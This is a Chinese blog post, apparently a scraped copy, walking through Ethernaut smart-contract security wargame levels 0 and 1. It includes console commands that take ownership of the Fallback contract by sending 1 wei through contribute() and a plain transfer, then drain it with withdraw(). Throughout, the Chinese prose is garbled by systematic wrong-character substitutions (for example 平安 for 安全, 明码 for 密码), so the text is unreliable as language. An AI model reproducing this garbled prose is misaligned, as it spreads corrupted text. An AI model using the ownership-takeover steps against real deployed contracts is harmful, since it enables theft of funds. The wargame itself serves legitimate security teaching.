乐趣区

关于区块链:区块链安全Ethernaut区块链智能合约安全实战连载中

筹备

随着区块链技术的逐步推广,区块链平安也逐步成为钻研的热点。在其中,又以智能智能合约平安最为突出。Ethernaut 正是入门钻研区块链智能合约平安的好工具。

  • 首先,应确保装置 Metamask,如果能够应用 Google Extension 能够间接装置,否则能够应用 FireFox 装置
  • 新建账号,并连贯到 RinkeBy Test Network(须要在 Setting – Advanced 里启用 Show test networks,并在网络中进行切换)
  • 拜访 Faucet 并获取测试币,每天都有 0.1Eth 的额度

当初就能够开始 Ethernaut 的探索之旅了!


0. Hello Ethernaut

本节比较简单,所以我将更关注整体过程,介绍 Ethernaut 的实例创立等等,本人也梳理一下,所以会更具体一些。

筹备工作

进入 Hello Ethernaut,会主动提醒连贯 Metamask 钱包,连贯后,示意图如下:

按 F12 关上开发者工具,在 console 界面就能够进行智能合约的交互。

创立实例并剖析

单击 Get New Instance 以创立新的合约实例。

能够看出咱们实际上是通过与合约 0xD991431D8b033ddCb84dAD257f4821E9d5b38C33 交互以创立实例。在辅导参数中,调用 0xdfc86b17 办法,附带地址为 0x4e73b858fd5d7a5fc1c3455061de52a53f35d966 作为参数。实际上,所有关卡创立实例时都会向0xD991431D8b033ddCb84dAD257f4821E9d5b38C33,附带的地址则是用来表明所处的关卡,如本例 URL 地址也为
https://ethernaut.openzeppelin.com/level/0x4E73b858fD5D7A5fc1c3455061dE52a53F35d966


实例曾经胜利生成,主合约交易截图如下:


进入交易详情,查看外部交易,发现合约之间产生了调用。第一笔是由主合约调用关卡合约,第二笔是由关卡合约创立合约实例,其中实例地址为0x87DeA53b8cbF340FAa77C833B92612F49fE3B822


回到页面来看,能够确认生成实例确实为 0x87DeA53b8cbF340FAa77C833B92612F49fE3B822

上面咱们将进行合约的交互以实现本关卡。

合约交互

此时,在 console 界面能够通过 playercontract别离查看用户以后账户和被创立合约实例。player代表用户钱包账户地址,而 contract 则蕴含合约实例abiaddress、以及办法信息。


依照提醒要求输出await contract.info() , 失去后果'You will find what you need in info1().'

输出await contract.info1(), 失去后果'Try info2(), but with"hello"as a parameter.'

输出 await contract.info2('hello'), 失去后果'The property infoNum holds the number of the next info method to call.

输出 await contract.infoNum(), 失去 infoNum 参数值为42(Word 中的首位)。这就是下一步要调用的函数(info42)。

输出await contract.info42(), 失去后果'theMethodName is the name of the next method.,即下一步该当调用theMethodName


输出await contract.theMethodName(), 失去后果'The method name is method7123949.


输出 await contract.method7123949(), 失去后果'If you know the password, submit it to authenticate().

所以通过 password() 能够获取明码 ethernaut0,并将其提交到authenticate(string)

留神当在进行 authenticate() 函数时,Metamask 会弹出交易确认,这是因为该函数扭转了合约外部的状态(以实现对关卡胜利的查看工作),而其余先前调用的函数却没有(为 View)。

此时,本关卡曾经实现。能够抉择 Sumbit Instance 进行提交,同样要签名实现交易


在此之后,Console 页面弹出胜利提醒,本关卡实现!

总结

本题比较简单,更多的是要相熟 ethernaut 的操作和原理。


1. Fallback

创立实例并剖析

依据先前的步骤,创立合约实例,其合约地址为 0xe0D053252d87F16F7f080E545ef2F3C157EA8d0E
本关卡要求 取得合约的所有权并清空余额
察看其源代码,找到合约所有权变更的入口。找到两个,别离是 contribute()receive(),其代码如下:

  function contribute() public payable {require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {owner = msg.sender;}
  }
  receive() external payable {require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

依照 contribute() 的逻辑,当用户随调用发送小于 0.001 ether 其总奉献额超过了 owner,即可取得合约的所有权。这个过程看似简略,然而通过以下 constructor() 函数能够看出,在创立时,owner的创立额为1000 ether,所以这种办法不是很实用。

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

再思考 receive() 函数,依据其逻辑,当用户发送任意 ether,且在此之前已有奉献(已调用过contribute() 函数),即可取得合约所有权。receive()相似于 fallback(),当用户发送代币但没有指定函数对应时(如sendTransaction()),会调用该办法。
在获取所有权后,再调用 withdraw 函数既能够清空合约余额。

合约交互

应用 contract 命令,查看合约 abi 及对外函数状况。


调用await contract.contribute({value:1}),向合约发送 1 单位 Wei。


此时,调用 await contract.getContribution() 查看用户奉献,发现贡献度为 1,满足调用 receiver() 默认函数的最低要求。


应用 await contract.sendTransaction({value:1}) 结构转账交易发送给合约,

调用 await contract.owner() === player 确认合约所有者曾经变更。

最初调用 await contract.withdraw() 取出余额。

提交实例,显示关卡胜利!

总结

本关卡也算比较简单,次要须要剖析代码外部的逻辑,了解 fallback()receive的原理。


退出移动版